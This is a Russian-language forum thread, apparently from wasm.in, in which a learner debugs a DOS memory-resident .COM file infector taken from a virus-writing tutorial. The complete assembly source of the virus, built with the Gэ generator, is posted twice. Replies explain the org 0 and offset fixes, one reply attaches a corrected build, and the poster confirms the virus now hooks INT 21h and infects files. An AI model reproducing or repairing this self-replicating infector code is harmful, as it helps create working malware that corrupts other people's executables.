Всем привет. Подскажите пожалуйста, почему не работает пример из статьи "Путеводитель по написанию вирусов: 3. Резидентные вирусы"? Вот ссылка на статью: https://wasm.in/blogs/putevoditel-po-napisaniju-virusov-3-rezidentnye-virusy.174/ Вот исходный код резидента: Код (ASM): ;---[ CUT HERE ]------------------------------------------------------------- ; This code isn't commented as good as the RUNTIME viruses. This is cause i ; assumed all the stuff is quite clear at this point. ; Virus generated by Gэ 0.70с ; Gэ written by Dark Angel of Phalcon/Skism ; Assemble with: TASM /m3 lame.asm ; Link with: TLINK /t lame.obj checkres1 = ':)' checkres2 = ';)' .model tiny .code org 0000h start: mov bp, sp int 0003h next: mov bp, ss:[bp-6] sub bp, offset next ; Получаем дельта-смещение push ds push es mov ax, checkres1 ; Проверка на установленность int 0021h cmp ax, checkres2 ; Уже установлены? jz done_install mov ax, ds dec ax mov ds, ax sub word ptr ds:[0003h], (endheap-start+15)/16+1 sub word ptr ds:[0012h], (endheap-start+15)/16+1 mov ax, ds:[0012h] mov ds, ax inc ax mov es, ax mov byte ptr ds:[0000h], 'Z' mov word ptr ds:[0001h], 0008h mov word ptr ds:[0003h], (endheap-start+15)/16 push cs pop ds xor di, di mov cx, (heaр-start)/2+1 ; Байты, которые нужно переместить mov si, bp ; lea si,[bp+offset start] rep movsw xor ax, ax mov ds, ax push ds lds ax, ds:[21h*4] ; Получаем старый int-обработчик mov word ptr es:oldint21, ax mov word ptr es:oldint21+2, ds pop ds mov word ptr ds:[21h*4], offset int21 ; Заменяем новым ; обработчиком mov ds:[21h*4+2], es ; в верхнюю память done_install: pop ds pop es restore_COM: mov di, 0100h ; Куда перемещает данные push di ; Hа какое смещение будет указывать ; ret lea si, [bр+offset old3] ; Что перемещать movsb ; Перемещать три байта movsw ret ; Возвращаемся на 100h old3 db 0cdh,20h,0 int21: push ax push bx push cx push dx push si push di push ds push es cmp ax, 4B00h ; запускать? jz execute return: jmp exitint21 execute: mov word ptr cs:filename, dx mov word ptr cs:filename+2, ds mov ax, 4300h ; Получаем атрибуты для последующего ; восстановления lds dx, cs:filename int 0021h jc return push cx push ds push dx mov ax, 4301h ; очищаем атрибуты файла рush ax ; сохраняем для последующего ; использования xor cx, cx int 0021h lds dx, cs:filename ; Открываем файл для чтения/записи mov ax, 3D02h int 0021h xchg ax, bx push cs pop ds push cs pop es ; CS=ES=DS mov ax, 5700h ; получаем время/дату файла int 0021h push cx push dx mov cx, 001Ah ; Читаем 1Ah байтов из файла mov dx, offset readbuffer mov ah, 003Fh int 0021h mov ax, 4202h ; Перемещаем файловый указатель в ; конец xor dx, dx xor cx, cx int 0021h cmp word ptr [offset readbuffer], 'ZM' ; Is it EXE ? jz jmp_close mov cx, word ptr [offset readbuffer+1] ; jmp location add cx, heaр-start+3 ; конвертируем в размер файла cmр ax, cx ; равны, если уже файл уже заражен jl skipp jmp_close: jmp close skipp: cmр ax, 65535-(endheaр-start) ; проверяем, не слишком ли велик ja jmp_close ; Выходим, если так mov di, offset old3 ; Восстанавливаем 3 первых байта mov si, offset readbuffer movsb movsw sub ax, 0003h mov word ptr [offset readbuffer+1], ax mov dl, 00E9h mov byte ptr [offset readbuffer], dl mov dx, offset start mov cx, heap-start mov ah, 0040h ; добавляем вирус int 0021h xor cx, cx xor dx, dx mov ax, 4200h ; Перемещаем указатель в начало int 0021h mov dx, offset readbuffer ; Записываем первые три байта mov cx, 0003h mov ah, 0040h int 0021h close: mov ax, 5701h ; восстанавливаем время/дату файла pop dx pop cx int 0021h mov ah, 003Eh ; закрываем файл int 0021h рoр ax ; восстанавливаем атрибуты файла pop dx ; получаем имя файла и pop ds рoр cx ; атрибуты из стека int 0021h exitint21: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax db 00EAh ; возвращаемся к оригинальному ; обработчику oldint21 dd ? signature db '[PS/Gэ]',0 heap: filename dd ? readbuffer db 1ah dup (?) endheap: end start ;---[ CUT HERE ]------------------------------------------------------------- Во-первых тут неправильно указана точка входа в директиве org, там написано org 0000h, а по идее нужно написать org 0100h и тогда код компилируется. Но тем не менее код не становится резидентным. Я тестировал код под windows xp sp3 x86. Компилировал и линковал tasm'ом с теми же ключами, что указаны в комментарии в начале кода резидента. Запускать пробовал под far'om, просто в cmd и в dosbox'e. Если я просто запущу простой резидент, он остаётся в памяти, потому что там использовалось прерывание int27h. Например первый кусок кода из этой статьи: Код (ASM): ;---[ CUT HERE ]------------------------------------------------------------- ; This program will check if it's already in memory, and then it'll show us a ; stupid message. If not, it'll install and show another msg. ; Эта программа будет проверять, находиться ли она уже в памяти, и показывать ; глупое сообщение, если это так. В противном случае она будет инсталлировать ; в память и показывать другое сообщение. .model tiny .code org 100h start: jmp fuck newint21: cmp ax,0ACDCh ; Пользователь вызывает нашу функцию? je is_check ; Если да, отвечаем на вызов jmр dword рtr cs:[oldint21] ; Или переходим на исходный int21 is_check: mov ax,0DEADh ; Мы отвечаем на звонок iret ; И принуждаем прерывание возвратиться oldint21 label dword int21_off dw 0000h int21_seg dw 0000h fuck: mov ax,0ACDCh ; Проверка на резидентность int 21h ; cmp ax,0DEADh ; Мы здесь? je stupid_yes ; Если да, показываем сообщение 2 mov ax,3521h ; Если, инсталлируем программу int 21h ; Функция, чтобы получить векторы ; INT 21h mov word ptr cs:[int21_off],bx ; Мы сохраняем смещение в oldint21+0 mov word ptr cs:[int21_seg],es ; Мы сохраняем сегмент в oldint21+2 mov ax,2521h ; Функция для помещения нового ; обработчика int21 mov dx,offset newint21 ; где он находится int 21h mov ax,0900h ; Показываем сообщение 1 mov dx,offset msg_installed int 21h mov dx,offset fuck+1 ; Делаем резидент от смещения 0 до int 27h ; смещения в dx используя int 27h ; Это также прервет программу stupid_yes: mov ax,0900h ; Показываем сообщение 2 mov dx,offset msg_already int 21h int 20h ; Прерываем программу. msg_installed db "Глупый резидент не установлен. Устанавливаю...$" msg_already db "Глупый резидент жив и дает вам под зад!$" end start ;---[ CUT HERE ]------------------------------------------------------------- Буду благодарен за любые мысли!
Могу. Для psp нужно минимум 100h. А вообще же, если чисто практически, вот что линкер выводит при 0000h:
DmitryStrv, щас посмотел. у него и правда это опечатка. Точнее, даже в оригинальной статье там так же. Вообще у него там проблемы в том что, если использовать org 0100h то смещения будут неправильными. Думаю какой-нибудь старый тасм позволял указывать любой org . но не суть . обратите внимание на Код (Text): mov word ptr es:oldint21, ax mov word ptr es:oldint21+2, ds тут es:oldint21 смещения будут скомпилированны как +100h . И еще в 1 месте будут тоже смещенея: Код (Text): mov word ptr ds:[21h*4], offset int21 mov ds:[21h*4+2], es вот тут где оффсет тоже оно добавится. Проще всего, чтоб не перелопачивать код - сделать так: add di, 100h после 39 строчки, у вас в первом коде. И еще для теста все же рекомендую убрать пайлоад , как сделал я и поставить тупо заглушку в виде нопа Код (Text): int21: cmp ax, 4B00h ; execute? jz execute return: jmp exitint21 execute: nop ;jmp execute exitint21: И еще 1 совет. Рекомендую адреса куда будете класть резидент - все же класть для тестов в память повыше (например в скринах ниже я вручную указал 09f48h как базу.
DmitryStrv, у меня ml ver 6.14.8444 и все компилируется и линкуется Код (Text): ml /Cp /AT le.asm > 1.txt link16 /T le.obj ,,,,, текст программы Код (ASM): ; This code isn't commented as good as the RUNTIME viruses. This is cause i ; assumed all the stuff is quite clear at this point. ; Virus generated by Gэ 0.70с ; Gэ written by Dark Angel of Phalcon/Skism ; Assemble with: TASM /m3 lame.asm ; Link with: TLINK /t lame.obj checkres1 = ':)' checkres2 = ';)' .model tiny .code org 0 start: mov bp,sp int 3 next: mov bp,[bp-6] sub bp,offset next ; Получаем дельта-смещение push ds push es mov ax,checkres1 ; Проверка на установленность int 21h cmp ax, checkres2 ; Уже установлены? jz done_install mov ax, ds dec ax mov ds, ax sub word ptr ds:[3], (endheap-start+15)/16+1 sub word ptr ds:[12h], (endheap-start+15)/16+1 mov ax, ds:[12h] mov ds, ax inc ax mov es, ax mov byte ptr ds:[0], 'Z' mov word ptr ds:[1],8 mov word ptr ds:[3], (endheap-start+15)/16 push cs pop ds xor di, di mov cx,(heap-start)/2+1 ; Байты, которые нужно переместить mov si, bp ; lea si,[bp+offset start] rep movsw xor ax, ax mov ds, ax push ds lds ax, ds:[21h*4] ; Получаем старый int-обработчик mov word ptr es:oldint21, ax mov word ptr es:oldint21+2, ds pop ds mov word ptr ds:[21h*4], offset int21 ; Заменяем новым ; обработчиком mov ds:[21h*4+2], es ; в верхнюю память done_install: pop ds pop es restore_COM: mov di, 100h ; Куда перемещает данные push di ; Hа какое смещение будет указывать ; ret lea si,[bp+offset old3] ; Что перемещать movsb ; Перемещать три байта movsw ret ; Возвращаемся на 100h old3 db 0CDh,20h,0 int21: push ax push bx push cx push dx push si push di push ds push es cmp ax,4B00h ; запускать? jz execute return: jmp exitint21 execute: mov word ptr cs:filename, dx mov word ptr cs:filename+2, ds mov ax, 4300h ; Получаем атрибуты для последующего ; восстановления lds dx, cs:filename int 21h jc return push cx push ds push dx mov ax, 4301h ; очищаем атрибуты файла push ax ; сохраняем для последующего ; использования xor cx, cx int 21h lds dx, cs:filename ; Открываем файл для чтения/записи mov ax, 3D02h int 21h xchg ax, bx push cs pop ds push cs pop es ; CS=ES=DS mov ax, 5700h ; получаем время/дату файла int 21h push cx push dx mov cx,1Ah ; Читаем 1Ah байтов из файла mov dx, offset readbuffer mov ah,3Fh int 21h mov ax, 4202h ; Перемещаем файловый указатель в ; конец xor dx, dx xor cx, cx int 21h cmp word ptr readbuffer,'ZM' ; Is it EXE ? jz jmp_close mov cx, word ptr readbuffer[1] ; jmp location add cx, heap-start+3 ; конвертируем в размер файла cmp ax, cx ; равны, если уже файл уже заражен jl skipp jmp_close: jmp close skipp: cmp ax, 65535-(endheap-start) ; проверяем, не слишком ли велик ja jmp_close ; Выходим, если так mov di, offset old3 ; Восстанавливаем 3 первых байта mov si, offset readbuffer movsb movsw sub ax, 3 mov word ptr [readbuffer+1], ax mov dl,0E9h mov byte ptr readbuffer,dl mov dx, offset start mov cx, heap-start mov ah,40h ; добавляем вирус int 21h xor cx, cx xor dx, dx mov ax, 4200h ; Перемещаем указатель в начало int 21h mov dx, offset readbuffer ; Записываем первые три байта mov cx,3 mov ah,40h int 21h close: mov ax, 5701h ; восстанавливаем время/дату файла pop dx pop cx int 21h mov ah,3Eh ; закрываем файл int 21h pop ax ; восстанавливаем атрибуты файла pop dx ; получаем имя файла и pop ds pop cx ; атрибуты из стека int 21h exitint21: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax db 0EAh ; возвращаемся к оригинальному ; обработчику oldint21 dd ? signature db '[PS/Gэ]',0 heap: filename dd ? readbuffer db 1Ah dup (?) endheap: end start Во вложении asm- и com-файлы, bat, ml.exe и link16.exe
Mikl___, там просто как бы автор тасм юзает. а видимо там нужно доп параметры указывать. Но в целом да, поминтся что давно когда это все изучал, проблем не было. и org 0 ставился Объясняю свой вопрос первый. Дело в том, что если бы вы изучили исходник внимательно, то поняли бы, почему ему не нужен org 100h
Нет. код не базонезависимый. Точнее полезная нагрузка да. Но те моменты, которые я отметил имеют в себе "косяки" которые всплывают при установке 100h Но оно не нужно, не потому, что он базонезависимый, а потому, что он вручную фиксит PSP на строчке 57 , и по этому может валидно выйти из COM программы по RET
TermoSINteZ, теоретически никто не мешает сделать Push 0/pop ds и все пересчитать относительно ds, а не от cs Но ИМХО, пора завязывать с резидентами под DOS, даже в учебных целях, и переходить к 64-разрядному режиму linux и windows или писать под микроконтроллеры
Mikl___, согласен, это же классика 16 битов ) . Но в целом и я удивлен, что сейчас 2020 году кто-то в принципе вспомнил про резидентов, да еще и под ДОС )
Попробовал запустить le.com в Far manager в корне диска D: (там же лежат два файла для заражения .com и .exe), после запуска файл-жертв, вирус файлы не заражает, значит он так и не стал резидентым. Странно. --- Сообщение объединено, 1 дек 2020 --- А я просто перед циклом статей с Билли про вирусы под win32 решил сначала доизучить DOS вирусы, ну чтобы не отвлекаться на некоторые команды, не изучать их. Плюс просто полезно знать, какие техники использовались в DOS вирусах. Это что-то вроде разминки для мозгов. А так, конечно, я буду изучать win32 вирусы.
DmitryStrv, проблема была в "org 0" ― ее решили. О том, чтобы вирус стал "жизнеспособным" разговора не было. Хотя фраза Попробовал запустить le.com в Far manager в корне диска D: (там же лежат два файла для заражения ... говорит о том, что резидентную программу для DOS пытаются запустить под Windows (Far Manager — консольный файловый менеджер для операционных систем семейства Windows). Для работы DOS-резидентов нужен компьютер запущенный под "чистым" DOS'ом. Отладчик в руки и пробуй найти причину самостоятельно
Огромное спасибо за подсказку, вирус работает как надо. Просто нужно было запустить заражаемый com файл и вирус перехватил 21-е прерывание. А я по старинке ждал, что вирус автоматом заражает файлы, как вирус времени выполнения в первой статье Билли. Прошу прощения. Так же благодарю всех, кто дал много дельных советов. TermoSINteZ, M0rg0t и Mikl___.
Я как-то дос резиденты тестил на вин хп, но для этого чтобы норм было запускать и все это видеть нужный досовский нортон командер и вот из него запускать но согласен дос уже 50 лет как умер --- Сообщение объединено, 13 дек 2020 --- А фар он виндовый там не выйдет
Вопрос видимо в том, как обычно на что атаку провести. На файловик и на это сделаем, не важно что там дос. Весь софт сделан криво, с косяками. Первая атака по таймингу(rc), а далее реверс и системные атаки. ps: Был бы софт, а уязвимость найдётся.
Это вы про атаку, в смысле про заражение .com файла имеете в виду? Я как-то просто не привык это называть атакой. Расскажите немного подробней про некую атаку по таймингу пожалуйста.